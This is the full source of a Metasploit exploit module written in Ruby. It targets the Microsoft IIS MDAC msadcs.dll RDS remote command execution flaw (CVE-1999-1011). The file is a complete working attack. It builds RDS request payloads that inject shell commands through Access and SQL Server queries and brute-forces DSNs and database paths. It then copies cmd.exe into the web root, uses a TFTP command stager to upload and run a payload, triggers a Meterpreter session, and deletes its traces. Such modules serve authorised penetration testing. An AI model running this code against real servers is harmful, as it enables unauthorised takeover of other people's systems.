416 lines
17 KiB
Ruby
416 lines
17 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'rex/proto/tftp'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::CmdStagerTFTP
|
|
|
|
def initialize
|
|
super(
|
|
'Name' => 'Microsoft IIS MDAC msadcs.dll RDS Arbitrary Remote Command Execution',
|
|
'Description' => %q{
|
|
This module can be used to execute arbitrary commands on IIS servers
|
|
that expose the /msadc/msadcs.dll Microsoft Data Access Components
|
|
(MDAC) Remote Data Service (RDS) DataFactory service using VbBusObj
|
|
or AdvancedDataFactory to inject shell commands into Microsoft Access
|
|
databases (MDBs), MSSQL databases and ODBC/JET Data Source Name (DSN).
|
|
Based on the msadcs.pl v2 exploit by Rain.Forest.Puppy, which was actively
|
|
used in the wild in the late Ninties. MDAC versions affected include MDAC
|
|
1.5, 2.0, 2.0 SDK, 2.1 and systems with the MDAC Sample Pages for RDS
|
|
installed, and NT4 Servers with the NT Option Pack installed or upgraded
|
|
2000 systems often running IIS3/4/5 however some vulnerable installations
|
|
can still be found on newer Windows operating systems. Note that newer
|
|
releases of msadcs.dll can still be abused however by default remote
|
|
connections to the RDS is denied. Consider using VERBOSE if you're unable
|
|
to successfully execute a command, as the error messages are detailed
|
|
and useful for debugging. Also set NAME to obtain the remote hostname,
|
|
and METHOD to use the alternative VbBusObj technique.
|
|
},
|
|
'Author' => 'patrick',
|
|
'Platform' => 'win',
|
|
'References' =>
|
|
[
|
|
['OSVDB', '272'],
|
|
['BID', '529'],
|
|
['CVE', '1999-1011'],
|
|
['MSB', 'MS98-004'],
|
|
['MSB', 'MS99-025']
|
|
],
|
|
'Targets' =>
|
|
[
|
|
# patrickw tested meterpreter OK 20120601
|
|
# nt4server w/sp3, ie4.02, option pack, IIS4.0, mdac 1.5, over msaccess shell, reverse_nonx
|
|
# w2k w/sp0, IIS5.0, mdac 2.7 RTM, sql2000, handunsf.reg, over xp_cmdshell, reverse_tcp
|
|
[ 'Automatic', { } ],
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => 'Jul 17 1998'
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('PATH', [ true, "The path to msadcs.dll", '/msadc/msadcs.dll']),
|
|
OptBool.new('METHOD', [ true, "If true, use VbBusObj instead of AdvancedDataFactory", false]),
|
|
OptBool.new('NAME', [ true, "If true, attempt to obtain the MACHINE NAME", false]),
|
|
OptString.new('DBHOST', [ true, "The SQL Server host", 'local']),
|
|
OptString.new('DBNAME', [ true, "The SQL Server database", 'master']),
|
|
OptString.new('DBUID', [ true, "The SQL Server uid (default is sa)", 'sa']),
|
|
OptString.new('DBPASSWORD', [ false, "The SQL Server password (default is blank)", '']),
|
|
], self.class)
|
|
end
|
|
|
|
def check
|
|
res = send_request_raw({
|
|
'uri' => datastore['PATH'],
|
|
'method' => 'GET',
|
|
})
|
|
if (res.code == 200)
|
|
print_status("Server responded with HTTP #{res.code} OK")
|
|
if (res.body =~ /Content-Type: application\/x-varg/)
|
|
print_good("#{datastore['PATH']} matches fingerprint application\/x-varg")
|
|
Exploit::CheckCode::Detected
|
|
end
|
|
else
|
|
Exploit::CheckCode::Safe
|
|
end
|
|
end
|
|
|
|
def create_dsn(drive, dsn)
|
|
req = "/scripts/tools/newdsn.exe?driver=Microsoft\%2BAccess\%2BDriver\%2B\%28*.mdb\%29\&dsn=#{dsn}\&dbq=#{drive}\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr="
|
|
|
|
res = send_request_raw({
|
|
'uri' => req,
|
|
})
|
|
|
|
if (res and res.code == 200 and res.body =~ /<H2>Datasource creation <B>FAILED! The most likely cause is invalid attributes<\/B><\/H2>/)
|
|
vprint_error("DSN CREATE failed for drive #{drive} with #{dsn}.")
|
|
return false
|
|
elsif (res.code == 200 and res.body =~ /<H2>Datasource creation successful<\/H2>/)
|
|
print_good("DSN CREATE SUCCESSFUL for drive #{drive} with #{dsn}!")
|
|
return true
|
|
end
|
|
end
|
|
|
|
def exec_cmd(sql, cmd, d)
|
|
boundary = rand_text_alphanumeric(8)
|
|
method = datastore['METHOD'] ? "VbBusObj.VbBusObjCls.GetRecordset" : "AdvancedDataFactory.Query"
|
|
dsn = Rex::Text.to_unicode(d)
|
|
if (d =~ /driver=\{SQL Server\}/)
|
|
select = Rex::Text.to_unicode(sql + '"' + cmd + '"')
|
|
elsif (cmd.nil?)
|
|
select = Rex::Text.to_unicode(sql)
|
|
else
|
|
select = Rex::Text.to_unicode(sql+ "'|shell(\"" + cmd + "\")|'")
|
|
end
|
|
|
|
vprint_status("Attempting to request: #{select} on #{d}")
|
|
|
|
query = "\x02\x00\x03\x00\x08\x00#{[select.size].pack('S')}\x00\x00#{select}\x08\x00#{[dsn.size].pack('S')}\x00\x00#{dsn}"
|
|
|
|
sploit = "--#{boundary}\r\n"
|
|
sploit << "Content-Type: application/x-varg\r\n"
|
|
sploit << "Content-Length: #{query.length}\r\n\r\n"
|
|
sploit << query
|
|
sploit << "\r\n--#{boundary}--\r\n"
|
|
|
|
data = "ADCClientVersion:01.06\r\n"
|
|
data << 'Content-Type: multipart/mixed; boundary=' + boundary +'; num-args=3'
|
|
data << "\r\n\r\n"
|
|
data << sploit
|
|
|
|
res = send_request_raw({
|
|
'uri' => datastore['PATH'] + '/' + method,
|
|
'agent' => 'ACTIVEDATA',
|
|
'headers' =>
|
|
{
|
|
'Content-Length' => data.length,
|
|
'Connection' => "Keep-Alive",
|
|
},
|
|
'method' => 'POST',
|
|
'data' => data,
|
|
})
|
|
|
|
response = Rex::Text.to_ascii(res.body, 'utf-16be')
|
|
|
|
if (response =~ /HTTP:\/\/www.microsoft.com\/activex.vip\/adofx/ || res.body =~ /o.u.t.p.u.t./)
|
|
vprint_good("Command was successfully executed! Statement: #{select} Driver: #{d}")
|
|
return true, sql, d
|
|
elsif (response =~ /RDS Server Error: The server has denied access to the default RDS Handler used to access this page. See the Server Administrator for more information about server security settings./)
|
|
print_error("Exploit failed: the server is patched")
|
|
return # we cannot continue - server refuses to accept RDS traffic from remote IPs. bail.
|
|
elsif (response =~ /The Microsoft Jet database engine cannot find the input table or query \'(\w+)\'/)
|
|
vprint_error("Server is vulnerable but Microsoft Jet database cannot find table: #{$1}")
|
|
elsif (response =~ /isn't a valid path/ || response =~ /is not a valid path/ || response =~ /Could not find file/)
|
|
vprint_error("Server is vulnerable but the drive and path is incorrect.")
|
|
elsif (response =~ /Disk or network error./)
|
|
vprint_error("Server is vulnerable but the driver letter doesn't physically exist.")
|
|
elsif (response =~ /Syntax error in CREATE TABLE statement/)
|
|
vprint_error("Server is vulnerable and the database exists however the CREATE TABLE command failed.")
|
|
elsif (response =~ /Table '(\w+)' already exists/)
|
|
vprint_error("Server is vulnerable and the database exists however the TABLE '#{$1}' already exists!")
|
|
elsif (response =~ /Syntax error \(missing operator\) in query expression/)
|
|
vprint_error("Server is vulnerable and the database and table exists however the SELECT statement has a syntax error.")
|
|
elsif (response =~ /Too few parameters. Expected 1/)
|
|
print_good("Command was probably executed!")
|
|
elsif (response =~ /Data source name not found and no default driver specified/)
|
|
vprint_error("Server is vulnerable however the requested DSN '#{d}' does not exist.")
|
|
elsif (response =~ /Couldn't find file/)
|
|
vprint_error("Server is vulnerable however the requested .mdb file does not exist.")
|
|
elsif (response =~ /Specified SQL server not found/)
|
|
vprint_error("Server is vulnerable however the specified Microsoft SQL Server does not exist")
|
|
elsif (response =~ /Server does not exist or access denied/)
|
|
vprint_error("Server is vulnerable however the specified Microsoft SQL Server does not exist or access is denied")
|
|
elsif (response =~ /General error Unable to open registry key/)
|
|
vprint_error("Server error (possible misconfiguration): Unable to open registry key ")
|
|
elsif (response =~ /It is in a read-only database/)
|
|
vprint_error("Server accepted request however the requested .mdb is READ-ONLY")
|
|
elsif (response =~ /Invalid connection/)
|
|
vprint_error("Server accepted request however the MSSQL database says Invalid connection")
|
|
elsif (response =~ /\[SQL Server\]Login failed for user/)
|
|
vprint_error("Server accepted request however the MSSQL database uid / password credentials are incorrect.")
|
|
elsif (response =~ /EXECUTE permission denied on object 'xp_cmdshell'/)
|
|
vprint_error("Server accepted request and MSSQL uid/pass is correct however the UID does not have permission to execute xp_cmdshell!")
|
|
elsif (response =~ /\"(...)\"/) # we use rand_text_alphanumeric for 'table'. response is '"<table>" <table>' but means nothing to me. regexp is a little lazy however the unicode response doesn't give us much to work with; we only know it is 3 bytes long and quoted which should be unique.
|
|
vprint_error("Server accepted request however it failed for reasons unknown.")
|
|
elsif (res.body =~ /\x09\x00\x01/) # magic bytes? rfp used it too :P maybe a retval?
|
|
vprint_error("Unknown reply - but the command didn't execute")
|
|
else
|
|
vprint_status("Unknown reply - server is likely patched:\n#{response}")
|
|
end
|
|
return false
|
|
end
|
|
|
|
def find_exec
|
|
# config data - greets to rain forest puppy :)
|
|
boundary = rand_text_alphanumeric(8)
|
|
|
|
if (datastore['NAME']) # Obtain the hostname if true
|
|
|
|
data = "ADCClientVersion:01.06\r\n"
|
|
data << 'Content-Type: multipart/mixed; boundary=' + boundary +'; num-args=0'
|
|
data << "\r\n\r\n--#{boundary}--\r\n"
|
|
|
|
res = send_request_raw({
|
|
'uri' => datastore['PATH'] + '/VbBusObj.VbBusObjCls.GetMachineName',
|
|
'agent' => 'ACTIVEDATA',
|
|
'headers' =>
|
|
{
|
|
'Content-Length' => data.length,
|
|
'Connection' => "Keep-Alive",
|
|
},
|
|
'method' => 'POST',
|
|
'data' => data,
|
|
|
|
})
|
|
|
|
if (res.code == 200 and res.body =~ /\x01(.+)/) # Should return the hostname
|
|
print_good("Hostname: #{$1}")
|
|
end
|
|
end
|
|
|
|
drives = ["c","d","e","f","g","h"]
|
|
sysdirs = ['winnt', 'windows', 'win', 'winnt351', 'winnt35' ]
|
|
dsns = ["AdvWorks", "pubs", "wicca", "CertSvr", "CFApplications", "cfexamples","CFForums",
|
|
"CFRealm", "cfsnippets", "UAM", "banner", "banners", "ads", "ADCDemo", "ADCTest"]
|
|
|
|
sysmdbs = [ "\\catroot\\icatalog.mdb", #these are %systemroot%
|
|
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
|
|
"\\system32\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
|
|
"\\system32\\certmdb.mdb",
|
|
"\\system32\\ias\\ias.mdb",
|
|
"\\system32\\ias\\dnary.mdb",
|
|
"\\system32\\certlog\\certsrv.mdb" ]
|
|
|
|
mdbs = [ "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", #these are non-windows
|
|
"\\cfusion\\cfapps\\forums\\forums_.mdb",
|
|
"\\cfusion\\cfapps\\forums\\data\\forums.mdb",
|
|
"\\cfusion\\cfapps\\security\\realm_.mdb",
|
|
"\\cfusion\\cfapps\\security\\data\\realm.mdb",
|
|
"\\cfusion\\database\\cfexamples.mdb",
|
|
"\\cfusion\\database\\cfsnippets.mdb",
|
|
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
|
|
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
|
|
"\\cfusion\\brighttiger\\database\\cleam.mdb",
|
|
"\\cfusion\\database\\smpolicy.mdb",
|
|
"\\cfusion\\database\\cypress.mdb",
|
|
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
|
|
"\\website\\cgi-win\\dbsample.mdb",
|
|
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
|
|
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
|
|
]
|
|
|
|
print_status("Step 1: Trying raw driver to btcustmr.mdb")
|
|
|
|
drives.each do |drive|
|
|
sysdirs.each do |sysdir|
|
|
ret = exec_cmd("Select * from Customers where City=", "cmd /c echo x", "driver={Microsoft Access Driver (*.mdb)};dbq=#{drive}:\\#{sysdir}\\help\\iis\\htm\\tutorial\\btcustmr.mdb;")
|
|
return ret if (ret)
|
|
end
|
|
end
|
|
|
|
print_status("Step 2: Trying to make our own DSN...")
|
|
x = false # Stop if we make a DSN
|
|
drives.each do |drive|
|
|
dsns.each do |dsn|
|
|
unless x
|
|
x = create_dsn(drive, dsn)
|
|
end
|
|
end
|
|
end
|
|
|
|
table = rand_text_alphanumeric(3)
|
|
print_status("Step 3: Trying to create a new table in our own DSN...")
|
|
exec_cmd("create table #{table} (B int, C varchar(10))", nil, "driver={Microsoft Access Driver (*.mdb)};dbq=c:\\sys.mdb;") # this is general make table query
|
|
|
|
print_status("Step 4: Trying to execute our command via our own DSN and table...")
|
|
ret = exec_cmd("select * from #{table} where C=", "cmd /c echo x", "driver={Microsoft Access Driver (*.mdb)};dbq=c:\\sys.mdb;") # this is general exploit table query
|
|
return ret if (ret)
|
|
|
|
print_status("Step 5: Trying to execute our command via known DSNs...")
|
|
dsns.each do |dsn|
|
|
ret = exec_cmd("select * from MSysModules where name=", "cmd /c echo x", dsn) # this is table-independent query (new)
|
|
return ret if (ret)
|
|
end
|
|
|
|
print_status("Step 6: Trying known system .mdbs...")
|
|
drives.each do |drive|
|
|
sysdirs.each do |sysdir|
|
|
sysmdbs.each do |sysmdb|
|
|
exec_cmd("create table #{table} (B int, C varchar(10))", nil, "driver={Microsoft Access Driver (*.mdb)};dbq=#{drive}:\\#{sysdir}#{sysmdb};")
|
|
ret = exec_cmd("select * from #{table} where C=", "cmd /c echo x", "driver={Microsoft Access Driver (*.mdb)};dbq=#{drive}:\\#{sysdir}#{sysmdb};")
|
|
return ret if (ret)
|
|
end
|
|
end
|
|
end
|
|
|
|
print_status("Step 7: Trying known program file .mdbs...")
|
|
drives.each do |drive|
|
|
mdbs.each do |mdb|
|
|
exec_cmd("create table #{table} (B int, C varchar(10))", nil, "driver={Microsoft Access Driver (*.mdb)};dbq=#{drive}:#{mdb};")
|
|
ret = exec_cmd("select * from #{table} where C=", "cmd /c echo x", "driver={Microsoft Access Driver (*.mdb)};dbq=#{drive}:#{mdb};")
|
|
return ret if (ret)
|
|
end
|
|
end
|
|
|
|
print_status("Step 8: Trying SQL xp_cmdshell method...")
|
|
ret = exec_cmd("EXEC master..xp_cmdshell", "cmd /c echo x", "driver={SQL Server};server=(#{datastore['DBHOST']});database=#{datastore['DBNAME']};uid=#{datastore['DBUID']};pwd=#{datastore['DBPASSWORD']}") # based on hdm's sqlrds.pl :)
|
|
return ret if (ret)
|
|
|
|
return -1
|
|
end
|
|
|
|
def exploit
|
|
print_status("Searching for valid command execution point...")
|
|
x = false
|
|
until (x)
|
|
x,y,z =find_exec
|
|
if (x == -1)
|
|
break
|
|
end
|
|
end
|
|
|
|
if (x == true)
|
|
print_good("Successful command execution found!")
|
|
|
|
# now copy the file
|
|
exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe"
|
|
print_status("Copying cmd.exe to the web root as \"#{exe_fname}\"...")
|
|
# NOTE: this assumes %SystemRoot% on the same drive as the web scripts directory
|
|
# Unfortunately, using %SystemRoot% doesn't seem to work :(
|
|
res = exec_cmd(y, "cmd /c copy cmd.exe \\inetpub\\scripts\\#{exe_fname}", z)
|
|
|
|
# Use the CMD stager to get a payload running
|
|
execute_cmdstager({ :temp => '.', :linemax => 1400, :cgifname => exe_fname })
|
|
|
|
# Save these file names for later deletion
|
|
@exe_cmd_copy = exe_fname
|
|
@exe_payload = payload_exe
|
|
|
|
# Just for good measure, we'll make a quick, direct request for the payload
|
|
# Using the "start" method doesn't seem to make iis very happy :(
|
|
print_status("Triggering the payload via a direct request...")
|
|
res = send_request_raw({ 'uri' => '/scripts/' + payload_exe, 'method' => 'GET' }, 1)
|
|
end
|
|
|
|
handler
|
|
|
|
end
|
|
|
|
#
|
|
# The following handles deleting the copied cmd.exe and payload exe!
|
|
#
|
|
def on_new_session(client)
|
|
|
|
if client.type != "meterpreter"
|
|
print_error("NOTE: you must use a meterpreter payload in order to automatically cleanup.")
|
|
print_error("The copied exe and the payload exe must be removed manually.")
|
|
return
|
|
end
|
|
|
|
return if not @exe_cmd_copy
|
|
|
|
# stdapi must be loaded before we can use fs.file
|
|
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
|
|
|
|
# Delete the copied CMD.exe
|
|
print_status("Deleting copy of CMD.exe \"#{@exe_cmd_copy}\" ...")
|
|
client.fs.file.rm(@exe_cmd_copy)
|
|
|
|
# Migrate so that we can delete the payload exe
|
|
client.console.run_single("run migrate -f")
|
|
|
|
# Delete the payload exe
|
|
return if not @exe_payload
|
|
|
|
delete_me_too = "C:\\inetpub\\scripts\\" + @exe_payload # C:\ ?
|
|
|
|
print_warning("Changing permissions on #{delete_me_too} ...")
|
|
cmd = "C:\\#{sysdir[0]}\\system32\\attrib.exe -r -h -s " + delete_me_too # winnt ?
|
|
client.sys.process.execute(cmd, nil, {'Hidden' => true })
|
|
|
|
print_warning("Deleting #{delete_me_too} ...")
|
|
begin
|
|
client.fs.file.rm(delete_me_too)
|
|
rescue ::Exception => e
|
|
print_error("Exception: #{e.inspect}")
|
|
end
|
|
end
|
|
|
|
def cleanup
|
|
framework.events.remove_exploit_subscriber(self)
|
|
end
|
|
|
|
def execute_command(cmd, opts = {})
|
|
# Don't try the start command...
|
|
# Using the "start" method doesn't seem to make iis very happy :(
|
|
return [nil,nil] if cmd =~ /^start [a-zA-Z]+\.exe$/
|
|
|
|
print_status("Executing command: #{cmd} (options: #{opts.inspect})")
|
|
|
|
uri = '/scripts/'
|
|
exe = opts[:cgifname]
|
|
if (exe)
|
|
uri << exe
|
|
end
|
|
uri << '?/x+/c+'
|
|
uri << Rex::Text.uri_encode(cmd)
|
|
|
|
vprint_status("Attempting to execute: #{uri}")
|
|
|
|
res = send_request_raw({
|
|
'uri' => uri,
|
|
'method' => 'GET',
|
|
})
|
|
end
|
|
|
|
end
|